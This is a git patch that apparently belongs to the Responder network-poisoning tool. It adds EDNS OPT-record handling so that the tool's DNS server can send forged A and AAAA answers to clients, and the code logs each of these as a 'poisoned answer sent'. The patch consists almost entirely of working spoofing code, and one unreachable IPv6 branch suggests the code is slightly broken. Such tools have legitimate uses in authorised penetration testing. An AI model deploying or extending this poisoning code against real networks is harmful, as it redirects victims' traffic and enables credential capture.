From 5cf69228cf5ce4c0433904ee1d05955e8fd6f618 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 21 Dec 2021 22:39:02 -0300 Subject: [PATCH] added support for OPT EDNS --- packets.py | 67 ++++++++++++++++++++++++++++++++++++++++++++++++++ servers/DNS.py | 42 ++++++++++++++++++++++++++----- 2 files changed, 103 insertions(+), 6 deletions(-) diff --git a/packets.py b/packets.py index 07c9a7d..03ec50f 100755 --- a/packets.py +++ b/packets.py @@ -89,6 +89,40 @@ class DNS_Ans(Packet): self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +# DNS Answer Packet OPT +class DNS_AnsOPT(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ("OPTName", "\x00"), + ("OPTType", "\x00\x29"), + ("OPTUDPSize", "\x10\x00"), + ("OPTRCode", "\x00"), + ("OPTEDNSVersion", "\x00"), + ("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case. + ("OPTStr", "\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) class DNS6_Ans(Packet): fields = OrderedDict([ @@ -115,6 +149,39 @@ class DNS6_Ans(Packet): self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = RespondWithIPPton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +class DNS6_AnsOPT(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ("OPTName", "\x00"), + ("OPTType", "\x00\x29"), + ("OPTUDPSize", "\x10\x00"), + ("OPTRCode", "\x00"), + ("OPTEDNSVersion", "\x00"), + ("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case. + ("OPTStr", "\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) class DNS_SRV_Ans(Packet): fields = OrderedDict([ diff --git a/servers/DNS.py b/servers/DNS.py index 97cf140..9c546e7 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans +from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -23,12 +23,15 @@ else: def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] + OPT = data[len(data)-22:len(data)-20] + if OPT == "\x00\x29": + return "OPTIPv4" # If Type A, Class IN, then answer. - if QueryTypeClass == "\x00\x01\x00\x01": + elif QueryTypeClass == "\x00\x01\x00\x01": return "A" - if QueryTypeClass == "\x00\x21\x00\x01": + elif QueryTypeClass == "\x00\x21\x00\x01": return "SRV" - if QueryTypeClass == "\x00\x1c\x00\x01": + elif QueryTypeClass == "\x00\x1c\x00\x01": return "IPv6" @@ -48,6 +51,13 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": + buff = DNS_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) @@ -62,8 +72,15 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + except Exception: - raise pass # DNS Server TCP Class @@ -82,6 +99,13 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": + buff = DNS_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) @@ -96,6 +120,12 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + buff = DNS6_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: - raise pass